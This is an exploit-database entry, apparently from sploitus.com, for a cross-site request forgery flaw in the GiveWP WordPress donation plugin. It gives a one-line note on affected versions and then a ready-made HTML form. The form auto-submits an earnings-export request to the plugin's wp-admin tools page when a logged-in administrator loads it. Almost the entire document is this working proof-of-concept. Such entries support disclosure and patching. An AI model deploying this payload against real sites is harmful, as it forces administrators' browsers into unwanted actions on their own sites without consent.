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## https://sploitus.com/exploit?id=WPEX-ID:831B3AFA-8FA3-4CB7-8374-36D0C368292F
In 2.21.2, works only when there is no donation yet. Before 2.21.2, works every time

<html>
  <body>
    <form action="https://example.com/wp-admin/edit.php?post_type=give_forms&page=give-tools&tab=export" method="POST">
      <input type="hidden" name="start&#95;year" value="" />
      <input type="hidden" name="start&#95;month" value="6" />
      <input type="hidden" name="end&#95;year" value="9000" />
      <input type="hidden" name="end&#95;month" value="6" />
      <input type="hidden" name="give&#45;action" value="earnings&#95;export" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>